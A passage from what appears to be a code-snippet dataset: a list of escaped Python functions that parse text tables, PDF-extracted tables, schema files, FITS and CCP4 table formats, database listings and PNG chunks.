indexFileHeaderText.append(\\\"DEF_VERSION %s\\\"%(version))\\n indexFileHeaderText.append(\\\"DEF_DBNAME %s\\\"%(dbname))\\n indexFileHeaderText.append(\\\"DEF_EXTENSION %s\\\"%(ext))\\n indexFileHeaderText.append(\\\"DEF_PREFIX %s\\\"%(prefix))\\n return indexFileHeaderText\",\n \"def extract_table_4(first_line_idx, lineIN_list): \\n DEBUG_4 = False\\n if DEBUG_4: header = '>>>DEBUG_4:\\\\t'\\n if DEBUG_4: print header, 'first_line_idx', first_line_idx \\n if DEBUG_4: from pprint import pprint as pp\\n my_lineOUT_list = []\\n my_lineIN_list = []\\n\\n cell0_without_tab_list = [\\n ]\\n tab_within_cell_list = [\\n ]\\n\\n for line_idx in range(first_line_idx+1, len(lineIN_list) ):\\n this_line = lineIN_list[line_idx].rstrip('\\\\n') # strip EOL only, not other whtite space\\n\\n # Fix unwantted tab in original PDF file: replace unwanted tab into a space\\n for tmp_str in tab_within_cell_list:\\n this_line = this_line.replace('%s\\\\t'%(tmp_str), '%s '%(tmp_str), 1)\\n\\n if len(this_line) != 0:\\n try:\\n header_of_the_table \\n except NameError:\\n header_of_the_table = re.sub('\\\\t.*', '', this_line) # extract only the first cell\\n my_lineIN_list.append(this_line)\\n if DEBUG_4: print header, '%3d: 1900, header_of_the_table\\\\t(%s)'%(line_idx, header_of_the_table)\\n else:\\n # The table itself is between 2 blank lines\\n if len(my_lineIN_list) != 0:\\n break\\n\\n # Make the text line compatible with CSV syntax\\n line_idx = 0\\n while line_idx < len(my_lineIN_list):\\n this_line = my_lineIN_list[line_idx]\\n this_delimiter_count = this_line.count('\\\\t')\\n\\n if DEBUG_4: print header, '%3d: 2000, this_line\\\\t(%s)'%(line_idx, this_line)\\n\\n if this_line.startswith(header_of_the_table):\\n # header of the table\\n delimiter_count = this_delimiter_count\\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\\n my_lineOUT_list.append(this_line)\\n\\n else:\\n # Get one or more line until enough cells: \\n while this_line.count('\\\\t') < delimiter_count:\\n # append next line\\n if line_idx+1 < len(my_lineIN_list):\\n line_idx += 1\\n this_line += ' ' + my_lineIN_list[line_idx]\\n if DEBUG_4: print header, '%3d: 3000, this_line\\\\t(%s)'%(line_idx, this_line)\\n else:\\n break\\n\\n # Has enough cells: append one or more line if these line has no tab except \\n # the line start with a specific text\\n while line_idx+1 < len(my_lineIN_list) and not '\\\\t' in my_lineIN_list[line_idx+1]:\\n if DEBUG_4: print header, '%3d: 3900, this_line\\\\t(%s)'%(line_idx, this_line)\\n #if any (my_lineIN_list[line_idx+1].startswith(z) for z in cell0_without_tab_list):\\n if len(cell0_without_tab_list) >0 and any (my_lineIN_list[line_idx+1].startswith(z) for z in cell0_without_tab_list):\\n break\\n else:\\n line_idx += 1\\n this_line += ' ' + my_lineIN_list[line_idx]\\n if DEBUG_4: print header, '%3d: 4000, this_line\\\\t(%s)'%(line_idx, this_line)\\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\\n my_lineOUT_list.append(this_line)\\n line_idx += 1\\n\\n if DEBUG_4:\\n for str2 in my_lineOUT_list: print header, 'str2(%r)'%(str2)\\n return my_lineOUT_list\",\n \"def import_schemas_from_file():\\n with open('./tblSchemas') as schemas_file:\\n schemas = {}\\n for line in schemas_file:\\n line = line.split()\\n if len(line) == 0: continue\\n if line[0] == 'tblname':\\n tbl_name = line[1]\\n schemas[tbl_name] = []\\n else:\\n schemas[tbl_name].append(line)\\n return schemas\",\n \"def automark(self):\\n\\n index_list = self.ui.tableWidget.selectionModel().selectedIndexes()\\n rows = []\\n for i in index_list:\\n rows.append(i.row())\\n rows = list(set(rows)) # duplicate rows due to multiple columns\\n if len(rows) == 0:\\n return\\n selected_files = []\\n filenames = \\\"\\\"\\n for r in rows:\\n if self.allfiles[r][2] is not None and self.allfiles[r][2] != \\\"\\\":\\n selected_files.append(self.allfiles[r])\\n filenames += self.allfiles[r][1] + \\\" \\\"\\n ui_se = DialogGetStartAndEndMarks(self.case['name'], filenames)\\n ok = ui_se.exec()\\n if not ok:\\n return\\n start_mark = ui_se.get_start_mark()\\n end_mark = ui_se.get_end_mark()\\n if start_mark == \\\"\\\" or end_mark == \\\"\\\":\\n Message(self.app, _(\\\"Warning\\\"), _('Cannot have blank text marks'), \\\"warning\\\").exec()\\n return\\n msg = _(\\\"Auto assign text to case: \\\") + self.case['name']\\n msg += _(\\\"\\\\nUsing \\\") + start_mark + _(\\\" and \\\") + end_mark + _(\\\"\\\\nIn files:\\\\n\\\")\\n msg += filenames\\n warning_msg = \\\"\\\"\\n already_assigned = \\\"\\\"\\n entries = 0\\n cur = self.app.conn.cursor()\\n for f in selected_files:\\n cur.execute(\\\"select name, id, fulltext, memo, owner, date from source where id=?\\\",\\n [f[0]])\\n currentfile = cur.fetchone()\\n text = currentfile[2]\\n text_starts = [match.start() for match in re.finditer(re.escape(start_mark), text)]\\n text_ends = [match.start() for match in re.finditer(re.escape(end_mark), text)]\\n # Add new code linkage items to database\\n already_assigned = \\\"\\\"\\n for start_pos in text_starts:\\n text_end_iterator = 0\\n try:\\n while start_pos >= text_ends[text_end_iterator]:\\n text_end_iterator += 1\\n except IndexError:\\n text_end_iterator = -1\\n warning_msg += _(\\\"Auto assign. Could not find an end mark: \\\") + f[1] + \\\" \\\" + end_mark + \\\"\\\\n\\\"\\n if text_end_iterator >= 0:\\n pos1 = text_ends[text_end_iterator]\\n item = {'caseid': self.case['caseid'], 'fid': f[0],\\n 'pos0': start_pos, 'pos1': pos1,\\n 'owner': self.app.settings['codername'],\\n 'date': datetime.datetime.now().astimezone().strftime(\\\"%Y-%m-%d %H:%M:%S\\\"), 'memo': \\\"\\\"}\\n # Check if already assigned to case_text\\n sql = \\\"select id from case_text where caseid=? and fid=? and pos0=? and pos1=?\\\"\\n cur.execute(sql, [item['caseid'], item['fid'], item['pos0'], item['pos1']])\\n res = cur.fetchone()\\n if res is None:\\n sql = \\\"insert into case_text (caseid,fid,pos0,pos1,owner,date,memo) values(?,?,?,?,?,?,?)\\\"\\n cur.execute(sql, (item['caseid'], item['fid'], item['pos0'], item['pos1'],\\n item['owner'], item['date'], item['memo']))\\n entries += 1\\n self.app.conn.commit()\\n else:\\n already_assigned = _(\\\"\\\\nAlready assigned.\\\")\\n # Update messages and table widget\\n self.get_files()\\n self.fill_table()\\n # Text file is loaded in browser then update the highlights\\n self.load_case_text()\\n self.highlight()\\n msg += \\\"\\\\n\\\" + str(entries) + _(\\\" sections found.\\\")\\n Message(self.app, _(\\\"File added to case\\\"), msg + \\\"\\\\n\\\" + warning_msg + \\\"\\\\n\\\" + already_assigned).exec()\\n self.parent_textEdit.append(msg)\\n self.parent_textEdit.append(warning_msg)\\n self.app.delete_backup = False\",\n \"def parse_translation(transl):\\n t_table = {}\\n with open(transl, 'r') as f:\\n for line in f:\\n tmp = line.strip().split('\\\\t')\\n fun_id = tmp[2]\\n gene_name = tmp[0]\\n t_table[fun_id] = gene_name\\n return t_table\",\n \"def sourceids(obj, reftype):\",\n \"def extract_table_1(first_line_idx, lineIN_list): \\n DEBUG_1A = False\\n if DEBUG_1A: header_1A = '>>>DEBUG_1A:\\\\t'\\n\\n DEBUG_1 = False\\n if DEBUG_1: header = '>>>DEBUG_1:\\\\t'\\n if DEBUG_1: print header, 'first_line_idx', first_line_idx \\n if DEBUG_1: from pprint import pprint as pp\\n my_lineOUT_list = []\\n my_lineIN_list = []\\n\\n #OBS header_of_the_table = 'Parameter'\\n cell0_without_tab_list = [\\n 'Time bus',\\n 'Input Rise Time',\\n 'Input Fall Time',\\n 'Serial Interface Clock',\\n ]\\n tab_within_cell_list = [\\n 'Clock', \\n 'Holdoff',\\n ]\\n\\n\\n for line_idx in range(first_line_idx+1, len(lineIN_list) ):\\n #if lineIN_list[line_idx].startswith('Parameter'):\\n # my_lineIN_list.append(lineIN_list[line_idx].strip().replace(' ', csv_delimiter)) # CSV delimiter\\n # continue\\n\\n this_line = lineIN_list[line_idx].rstrip('\\\\n') # strip EOL only, not other whtite space\\n #this_line = lineIN_list[line_idx].replace('\\\\n', '') # strip EOL\\n #this_line = lineIN_list[line_idx].rstrip()\\n\\n #TMP if DEBUG_1: print\\n #TMP if DEBUG_1: print header, '%3d: 1000, this_line\\\\t(%s)'%(line_idx, this_line)\\n #TMP if DEBUG_1: print header, '%3d: len(this_line)\\\\t(%s)'%(line_idx, len(this_line))\\n #TMP if DEBUG_1: print header, '%3d: len(my_lineIN_list)\\\\t(%s)'%(line_idx, len(my_lineIN_list))\\n #TMP if DEBUG_1A and 'Time bus' in this_line: print header_1A, '%3d: 1000, this_line\\\\t(%s)'%(line_idx, this_line)\\n\\n # Fix unwantted tab in original PDF file: replace unwanted tab into a space\\n for tmp_str in tab_within_cell_list:\\n this_line = this_line.replace('%s\\\\t'%(tmp_str), '%s '%(tmp_str), 1)\\n\\n if len(this_line) != 0:\\n try:\\n header_of_the_table \\n except NameError:\\n header_of_the_table = re.sub('\\\\t.*', '', this_line) # extract only the first cell\\n my_lineIN_list.append(this_line)\\n else:\\n # The table itself is between 2 blank lines\\n if len(my_lineIN_list) != 0:\\n break\\n\\n # Make the text line compatible with CSV syntax\\n line_idx = 0\\n while line_idx < len(my_lineIN_list):\\n this_line = my_lineIN_list[line_idx]\\n this_delimiter_count = this_line.count('\\\\t')\\n\\n if DEBUG_1: print header, '%3d: 2000, this_line\\\\t(%s)'%(line_idx, this_line)\\n if DEBUG_1A and 'Time bus' in this_line: print header_1A, '%3d: 2000, this_line\\\\t(%s)'%(line_idx, this_line)\\n\\n if this_line.startswith(header_of_the_table):\\n # header of the table\\n delimiter_count = this_delimiter_count\\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\\n my_lineOUT_list.append(this_line)\\n\\n else:\\n # Get one or more line until enough cells: \\n if DEBUG_1A and 'Time bus' in this_line: print header_1A, '%3d: 2400, this_line\\\\t(%s)'%(line_idx, this_line)\\n\\n while this_line.count('\\\\t') < delimiter_count:\\n if DEBUG_1A and 'Time bus' in this_line: print header_1A, '%3d: 3000, this_line\\\\t(%s)'%(line_idx, this_line)\\n # append next line\\n if line_idx+1 < len(my_lineIN_list):\\n line_idx += 1\\n this_line += ' ' + my_lineIN_list[line_idx]\\n if DEBUG_1: print header, '%3d: 3000, this_line\\\\t(%s)'%(line_idx, this_line)\\n if DEBUG_1A and 'Time bus' in this_line: print header_1A, '%3d: 4000, this_line\\\\t(%s)'%(line_idx, this_line)\\n else:\\n break\\n\\n # Has enough cells: append one or more line if these line has no tab except \\n # the line start with a specific text\\n while line_idx+1 < len(my_lineIN_list) and not '\\\\t' in my_lineIN_list[line_idx+1]:\\n if any (z in my_lineIN_list[line_idx+1] for z in cell0_without_tab_list):\\n break\\n else:\\n line_idx += 1\\n this_line += ' ' + my_lineIN_list[line_idx]\\n if DEBUG_1: print header, '%3d: 4000, this_line\\\\t(%s)'%(line_idx, this_line)\\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\\n my_lineOUT_list.append(this_line)\\n line_idx += 1\\n\\n #if DEBUG_1: pp(my_lineOUT_list)\\n if DEBUG_1: \\n for str2 in my_lineOUT_list:\\n if DEBUG_1: print header, 'str2(%r)'%(str2)\\n\\n return my_lineOUT_list\",\n \"def makeTableNamesList(n, ):\",\n \"def idat(file_map):\\r\\n match_list = []\\r\\n png_header = re.compile(b'(?s)\\\\x89\\\\x50\\\\x4e\\\\x47')\\r\\n png_idat = re.compile(b'(?s)(\\\\x49\\\\x44\\\\x41\\\\x54.{80})')\\r\\n for match in png_header.finditer(file_map):\\r\\n end = match.end()\\r\\n match_list.append(png_idat.search(file_map, end).group())\\r\\n return match_list\",\n \"def __load_handler(self):\\n with open(self.path) as file:\\n for line in file:\\n if line.startswith(\\\"\\\"\\\"# TABLE: \\\"\\\"\\\"):\\n self.columndefinition = (line.strip('\\\\n')\\n .replace(\\\"\\\"\\\"# TABLE: \\\"\\\"\\\", ''))\\n self.tablename = self.name.replace('.', '_')\\n self.tablename = self.tablename.replace('-', '_')\\n self.md5_tablename = (hashlib.md5(self.tablename)\\n .hexdigest()[:30])\\n for columnelement in self.columndefinition.split(','):\\n column = columnelement.split(':')[0].strip()\\n self.columnnames.append(column)\\n\\n self.is_mime_handler = True\",\n \"def create_lookup_tables(text):\\n vocab = set(text.split())\\n vocab_to_int = copy.copy(CODES)\\n\\n for v_i, v in enumerate(vocab, len(CODES)):\\n vocab_to_int[v] = v_i\\n\\n int_to_vocab = {v_i: v for v, v_i in vocab_to_int.items()}\\n\\n return vocab_to_int, int_to_vocab\",\n \"def load_source_table():\\n src_file = os.path.join(data.Paths.arclines, 'sources', 'arcline_sources.ascii')\\n # Load\\n sources = Table.read(src_file, format='ascii.fixed_width', comment='#')\\n # Return\\n return sources\",\n \"def myhtable_create_index(files):\\n res_buckets = htable(4011)\\n for id, file in enumerate(files):\\n if file[-4:] == '.txt':\\n word_list = words(get_text(file))\\n for word in word_list:\\n value = htable_get(res_buckets, word)\\n if value == None:\\n htable_put(res_buckets, word, {id})\\n else:\\n value.add(id)\\n htable_put(res_buckets, word, value)\\n return res_buckets\",\n \"def gettables(self, data):\\n tables = defaultdict(list) # Map database names with its tables\\n current_database = None\\n status = 'find_log_line'\\n list_found = False\\n for line in data.splitlines():\\n if status == 'find_log_line':\\n # Look for the correct log line to start searching databases\\n if self._is_tables_log_line(line):\\n # Correct line, change status\\n status = 'find_dbname'\\n elif self._is_log_and_startswith('', line) and list_found:\\n # If another log line is reached, stop looking\\n break\\n elif status == 'find_dbname':\\n database = self._match_start_get_remaining('Database: ', line)\\n if database is not None:\\n current_database = database\\n list_found = True\\n status = 'find_list_start'\\n elif status == 'find_list_start':\\n # Find +--------------+ line\\n if re.match(r'^\\\\+\\\\-+\\\\+$', line):\\n # Line found\\n status = 'find_tables'\\n elif status == 'find_tables':\\n if line.startswith('|') and line.endswith('|'):\\n table = line[1:-1].strip()\\n tables[current_database].append(table)\\n elif re.match(r'^\\\\+\\\\-+\\\\+$', line):\\n # Table list for this db ended\\n status = 'find_dbname'\\n else:\\n raise RuntimeError('unknown status')\\n return tables\",\n \"def extract_table_2(first_line_idx, lineIN_list): \\n DEBUG_2 = False\\n if DEBUG_2: header = '>>>DEBUG_2:\\\\t'\\n if DEBUG_2: print header, 'first_line_idx', first_line_idx \\n if DEBUG_2: from pprint import pprint as pp\\n my_lineOUT_list = []\\n my_lineIN_list = []\\n\\n #OBS header_of_the_table = 'Parameter'\\n cell0_without_tab_list = [\\n 'Endurance',\\n ]\\n tab_within_cell_list = [\\n ]\\n\\n for line_idx in range(first_line_idx+1, len(lineIN_list) ):\\n\\n this_line = lineIN_list[line_idx].rstrip('\\\\n') # strip EOL only, not other whtite space\\n\\n #TMP if DEBUG_2: print\\n #TMP if DEBUG_2: print header, '%3d: 1000, this_line\\\\t(%s)'%(line_idx, this_line)\\n #TMP if DEBUG_2: print header, '%3d: len(this_line)\\\\t(%s)'%(line_idx, len(this_line))\\n #TMP if DEBUG_2: print header, '%3d: len(my_lineIN_list)\\\\t(%s)'%(line_idx, len(my_lineIN_list))\\n\\n # Fix unwantted tab in original PDF file: replace unwanted tab into a space\\n for tmp_str in tab_within_cell_list:\\n this_line = this_line.replace('%s\\\\t'%(tmp_str), '%s '%(tmp_str), 1)\\n\\n if len(this_line) != 0:\\n try:\\n header_of_the_table \\n except NameError:\\n header_of_the_table = re.sub('\\\\t.*', '', this_line) # extract only the first cell\\n my_lineIN_list.append(this_line)\\n else:\\n # The table itself is between 2 blank lines\\n if len(my_lineIN_list) != 0:\\n break \\n\\n # Make the text line compatible with CSV syntax\\n line_idx = 0\\n while line_idx < len(my_lineIN_list):\\n this_line = my_lineIN_list[line_idx]\\n this_delimiter_count = this_line.count('\\\\t')\\n\\n if DEBUG_2: print header, '%3d: 2000, this_line\\\\t(%s)'%(line_idx, this_line)\\n\\n if this_line.startswith(header_of_the_table):\\n # header of the table\\n delimiter_count = this_delimiter_count\\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\\n my_lineOUT_list.append(this_line)\\n\\n else:\\n # Get one or more line until enough cells: \\n\\n while this_line.count('\\\\t') < delimiter_count:\\n # append next line\\n if line_idx+1 < len(my_lineIN_list):\\n line_idx += 1\\n this_line += ' ' + my_lineIN_list[line_idx]\\n if DEBUG_2: print header, '%3d: 3000, this_line\\\\t(%s)'%(line_idx, this_line)\\n else:\\n break\\n\\n # Has enough cells: append one or more line if these line has no tab except \\n # the line start with a specific text\\n while line_idx+1 < len(my_lineIN_list) and not '\\\\t' in my_lineIN_list[line_idx+1]:\\n if any (my_lineIN_list[line_idx+1].startswith(z) for z in cell0_without_tab_list):\\n break\\n else:\\n line_idx += 1\\n this_line += ' ' + my_lineIN_list[line_idx]\\n if DEBUG_2: print header, '%3d: 4000, this_line\\\\t(%s)'%(line_idx, this_line)\\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\\n my_lineOUT_list.append(this_line)\\n line_idx += 1\\n\\n #if DEBUG_2: pp(my_lineOUT_list)\\n if DEBUG_2: \\n for str2 in my_lineOUT_list: print header, 'str2(%r)'%(str2)\\n return my_lineOUT_list\",\n \"def parse_trflp(lines):\\r\\n\\r\\n sample_ids = []\\r\\n otu_ids = []\\r\\n data = []\\r\\n non_alphanum_mask = re.compile('[^\\\\w|^\\\\t]')\\r\\n # not sure why the above regex doesn't cover the following regex...\\r\\n dash_space_mask = re.compile('[_ -]')\\r\\n\\r\\n for i, line in enumerate(lines):\\r\\n elements = line.strip('\\\\n').split('\\\\t')\\r\\n\\r\\n # special handling for the first line only\\r\\n if i == 0:\\r\\n # validating if the file has a header\\r\\n if elements[0] == '':\\r\\n for otu_id in elements[1:]:\\r\\n otu_ids.append(non_alphanum_mask.sub('_', otu_id))\\r\\n continue\\r\\n else:\\r\\n for j, otu_id in enumerate(elements[1:]):\\r\\n otu_ids.append(non_alphanum_mask.sub('_', 'Bin%3d' % j))\\r\\n\\r\\n # handling of all other lines\\r\\n current_row = []\\r\\n\\r\\n # converting each value in the row to int\\r\\n for count in elements[1:]:\\r\\n try:\\r\\n current_row.append(int(round(float(count), 0)))\\r\\n except ValueError:\\r\\n current_row.append(0)\\r\\n\\r\\n # if the sum of all the values is equial to 0 ignore line\\r\\n if sum(current_row) == 0:\\r\\n continue\\r\\n\\r\\n # adding sample header to list\\r\\n sample_ids.append(non_alphanum_mask.sub('.',\\r\\n dash_space_mask.sub('.', elements[0])))\\r\\n\\r\\n # validating the size of the headers to add missing columns\\r\\n # this is only valid when there is no header\\r\\n if len(current_row) > len(otu_ids):\\r\\n # modify header data\\r\\n extra_cols = []\\r\\n for j in range(len(otu_ids), len(current_row)):\\r\\n extra_cols.append(non_alphanum_mask.sub('_', 'Bin%3d' % j))\\r\\n # modify data\\r\\n for j in range(len(data)):\\r\\n data[j].extend([0] * (len(current_row) - len(otu_ids)))\\r\\n\\r\\n otu_ids.extend(extra_cols)\\r\\n elif len(current_row) < len(otu_ids):\\r\\n # modify data\\r\\n current_row.extend([0] * (len(otu_ids) - len(current_row)))\\r\\n\\r\\n data.append(current_row)\\r\\n\\r\\n return sample_ids, otu_ids, asarray(data).transpose()\",\n \"def hdrtxt(cls):\\n\\n return ('Itn',) + cls.hdrtxt_objfn + ('Rsdl', 'F', 'Q', 'It_Bt', 'L')\",\n \"def get_sections(self, elf_file_path):\\n section_names = []\\n try:\\n output = subprocess.check_output([self.readelf_path, '-SW', elf_file_path])\\n output = bytes_to_str(output)\\n for line in output.split('\\\\n'):\\n # Parse line like:\\\" [ 1] .note.android.ident NOTE 0000000000400190 ...\\\".\\n result = re.search(r'^\\\\s+\\\\[\\\\s*\\\\d+\\\\]\\\\s(.+?)\\\\s', line)\\n if result:\\n section_name = result.group(1).strip()\\n if section_name:\\n section_names.append(section_name)\\n except subprocess.CalledProcessError:\\n pass\\n return section_names\",\n \"def read_cxc_targetnames():\\n\\n targets = {}\\n\\n \\\"\\\"\\\"\\n with open(\\\"cxc_obsid_targetname.lis\\\") as fh:\\n header = True\\n for l in fh.readlines():\\n if l.startswith(\\\"#\\\"):\\n continue\\n\\n if header:\\n assert l == \\\"obsid\\\\ttarget_name\\\\n\\\", f\\\"<{l}>\\\"\\n header = False\\n continue\\n\\n l = l.strip()\\n if l == \\\"\\\":\\n continue\\n\\n toks = l.split(\\\"\\\\t\\\")\\n assert len(toks) == 2\\n\\n obsid = int(toks[0])\\n assert obsid not in targets\\n targets[obsid] = toks[1]\\n \\\"\\\"\\\"\\n\\n with open(\\\"obsid-targets.tsv\\\") as fh:\\n for l in fh.readlines():\\n if l.startswith(\\\"#\\\"):\\n continue\\n\\n l = l.strip()\\n if l == \\\"\\\":\\n continue\\n\\n toks = l.split(\\\"\\\\t\\\")\\n assert len(toks) == 2\\n\\n obsid = int(toks[0])\\n assert obsid not in targets\\n targets[obsid] = toks[1]\\n\\n return targets\",\n \"def extract_table_3(first_line_idx, lineIN_list): \\n DEBUG_3 = False\\n if DEBUG_3: header = '>>>DEBUG_3:\\\\t'\\n if DEBUG_3: print header, 'first_line_idx', first_line_idx \\n if DEBUG_3: from pprint import pprint as pp\\n my_lineOUT_list = []\\n my_lineIN_list = []\\n\\n cell0_without_tab_list = [\\n ]\\n tab_within_cell_list = [\\n ]\\n\\n for line_idx in range(first_line_idx+1, len(lineIN_list) ):\\n this_line = lineIN_list[line_idx].rstrip('\\\\n') # strip EOL only, not other whtite space\\n\\n # Fix unwantted tab in original PDF file: replace unwanted tab into a space\\n for tmp_str in tab_within_cell_list:\\n this_line = this_line.replace('%s\\\\t'%(tmp_str), '%s '%(tmp_str), 1)\\n\\n if len(this_line) != 0:\\n try:\\n header_of_the_table \\n except NameError:\\n header_of_the_table = re.sub('\\\\t.*', '', this_line) # extract only the first cell\\n my_lineIN_list.append(this_line)\\n else:\\n # The table itself is between 2 blank lines\\n if len(my_lineIN_list) != 0:\\n break\\n\\n # Make the text line compatible with CSV syntax\\n line_idx = 0\\n while line_idx < len(my_lineIN_list):\\n this_line = my_lineIN_list[line_idx]\\n this_delimiter_count = this_line.count('\\\\t')\\n\\n if DEBUG_3: print header, '%3d: 2000, this_line\\\\t(%s)'%(line_idx, this_line)\\n\\n if this_line.startswith(header_of_the_table):\\n # header of the table\\n delimiter_count = this_delimiter_count\\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\\n my_lineOUT_list.append(this_line)\\n\\n else:\\n # Get one or more line until enough cells: \\n while this_line.count('\\\\t') < delimiter_count:\\n # append next line\\n if line_idx+1 < len(my_lineIN_list):\\n line_idx += 1\\n this_line += ' ' + my_lineIN_list[line_idx]\\n if DEBUG_3: print header, '%3d: 3000, this_line\\\\t(%s)'%(line_idx, this_line)\\n else:\\n break\\n\\n # Has enough cells: append one or more line if these line has no tab except \\n # the line start with a specific text\\n while line_idx+1 < len(my_lineIN_list) and not '\\\\t' in my_lineIN_list[line_idx+1]:\\n if any (my_lineIN_list[line_idx+1].startswith(z) for z in cell0_without_tab_list):\\n break\\n else:\\n line_idx += 1\\n this_line += ' ' + my_lineIN_list[line_idx]\\n if DEBUG_3: print header, '%3d: 4000, this_line\\\\t(%s)'%(line_idx, this_line)\\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\\n my_lineOUT_list.append(this_line)\\n line_idx += 1\\n\\n if DEBUG_3:\\n for str2 in my_lineOUT_list: print header, 'str2(%r)'%(str2)\\n return my_lineOUT_list\",\n \"def load_staging_tables_docstring(cur, conn):\",\n \"def test_tabledump(self):\\n datastr = (\\n '\\\" 1\\\" \\\"abc\\\" \\\" 3.70000007152557\\\" \\\" 0\\\"\\\\n'\\n '\\\" 2\\\" \\\"xy \\\" \\\" 6.69999971389771\\\" \\\" 1\\\"\\\\n'\\n )\\n cdstr = (\\n 'c1 1J I11 \\\"\\\" \\\"\\\"'\\n ' -2147483647 \\\"\\\" \\\"\\\" \\\\n'\\n 'c2 3A A3 \\\"\\\" \\\"\\\"'\\n ' \\\"\\\" \\\"\\\" \\\"\\\" \\\\n'\\n 'c3 1E G15.7 \\\"\\\" \\\"\\\"'\\n ' \\\"\\\" 3 0.4 \\\\n'\\n 'c4 1L L6 \\\"\\\" \\\"\\\"'\\n ' \\\"\\\" \\\"\\\" \\\"\\\" \\\\n'\\n )\\n # copy fits file to the temp directory\\n self.copy_file(\\\"tb.fits\\\")\\n\\n # test without datafile\\n fits.tabledump(self.temp(\\\"tb.fits\\\"))\\n assert os.path.isfile(self.temp(\\\"tb_1.txt\\\"))\\n\\n # test with datafile\\n fits.tabledump(self.temp(\\\"tb.fits\\\"), datafile=self.temp(\\\"test_tb.txt\\\"))\\n assert os.path.isfile(self.temp(\\\"test_tb.txt\\\"))\\n\\n # test with datafile and cdfile\\n datafile = self.temp(\\\"data.txt\\\")\\n cdfile = self.temp(\\\"coldefs.txt\\\")\\n fits.tabledump(self.temp(\\\"tb.fits\\\"), datafile, cdfile)\\n assert os.path.isfile(datafile)\\n with open(datafile) as data:\\n assert data.read() == datastr\\n with open(cdfile) as coldefs:\\n assert coldefs.read() == cdstr\",\n \"def isccp4table(self, text):\\n #\\n # See e.g. http://www.ccp4.ac.uk/dist/html/loggraphformat.html\\n # for format of TABLES\\n #\\n # Note that this regular expression accommodates slight deviations\\n # by making the \\\"closing\\\" \\\":\\\" of the $TABLE line optional.\\n # This is done for consistency with loggraph's behaviour.\\n #\\n # Set up regular expression for entire table\\n # This is the \\\"strict\\\" form of the table\\n table = self.compile(\\n \\\"isccp4table\\\",\\n r\\\" *\\\\$TABLE ?:([^:]*):?[ \\\\n]+\\\\$(GRAPHS|SCATTER)[^:]*(:[^\\\\$]*)\\\\$\\\\$([^\\\\$]*)\\\\$\\\\$([^\\\\$]*)\\\\$\\\\$([^\\\\$]*)\\\\$\\\\$\\\",\\n ).search(text)\\n result = dict()\\n if table:\\n result[\\\"rawtable\\\"] = table.group(0)\\n result[\\\"title\\\"] = table.group(1).strip()\\n result[\\\"type\\\"] = table.group(2).strip()\\n result[\\\"graphs\\\"] = table.group(3)\\n result[\\\"columns\\\"] = table.group(4)\\n result[\\\"text\\\"] = table.group(5)\\n result[\\\"data\\\"] = table.group(6)\\n result[\\\"nlines\\\"] = table.group(0).count(\\\"\\\\n\\\")\\n return result\\n # If there wasn't a match then try a simpler match\\n # This relaxes some of the rules in the format definintion\\n table = self.compile(\\n \\\"isccp4simplertable\\\",\\n r\\\" *\\\\$TABLE ?:([^\\\\n]*)\\\\n+\\\\$(GRAPHS|SCATTER)[^:]*(:[^\\\\$]*)\\\\$\\\\$([^\\\\$]*)\\\\$\\\\$([^\\\\$]*)\\\\$\\\\$([^\\\\$]*)\\\\$\\\\$\\\",\\n ).search(text)\\n if table:\\n result[\\\"rawtable\\\"] = table.group(0)\\n result[\\\"title\\\"] = table.group(1).strip()\\n result[\\\"type\\\"] = table.group(2).strip()\\n result[\\\"graphs\\\"] = table.group(3)\\n result[\\\"columns\\\"] = table.group(4)\\n result[\\\"text\\\"] = table.group(5)\\n result[\\\"data\\\"] = table.group(6)\\n result[\\\"nlines\\\"] = table.group(0).count(\\\"\\\\n\\\")\\n return result\\n return result\",\n \"def extract_data_from_txt(filename: str) -> any:\\r\\n # List[Dict[str, List[int]]]\\r\\n ce_file = open(filename, 'r')\\r\\n ce_text = ce_file.read()\\r\\n ce_structure_pattern = re.compile(r\\\"\\\"\\\"\\r\\n \\\\n(\\\\w+)\\\\n # the line with the country name \\r\\n \\\\s+Total\\\\s.*\\\\n # the line start with at least 1 spaces and \\\"Total Fossil-Fuel\\\"\\r\\n Year\\\\s+.*\\\\n\\\\n # the line start with \\\"Year Emissions\\\"\\r\\n ((\\\\d+\\\\s+\\\\d+\\\\s+.*\\\\n)+) # the lines with actual data\\r\\n \\\"\\\"\\\", re.VERBOSE | re.MULTILINE)\\r\\n ce_line_pattern = re.compile(r\\\"\\\"\\\"\\r\\n (\\\\d+) # year number\\r\\n \\\\s+ # the space between year number and Total Fossil-Fuel Emissions data \\r\\n (\\\\d+) # the Total Fossil-Fuel Emissions data\\r\\n \\\\s+ # the spaces after Total Fossil-Fuel Emissions\\r\\n .*\\\\n # the rest of the line\\r\\n \\\"\\\"\\\", re.VERBOSE)\\r\\n countries = ce_structure_pattern.findall(ce_text)\\r\\n\\r\\n data = [process_row_c(country_data, ce_line_pattern) for country_data in countries]\\r\\n return data\",\n \"def create_lookup_tables(text):\\n # todo 需要编程：\\n words = sorted(list(set(text)))\\n vocab_to_int = {word:idx for idx, word in enumerate(words)}\\n int_to_vocab = dict(enumerate(words))\\n return vocab_to_int, int_to_vocab\",\n \"def get_mapping_table_ids():\\n #\\n aliquot_prefix = get_prefix(API_PARAMS, API_PARAMS['ALIQUOT_ENDPOINT'])\\n case_aliquot_table_name = construct_table_name(API_PARAMS, prefix=aliquot_prefix)\\n case_aliquot_table_id = 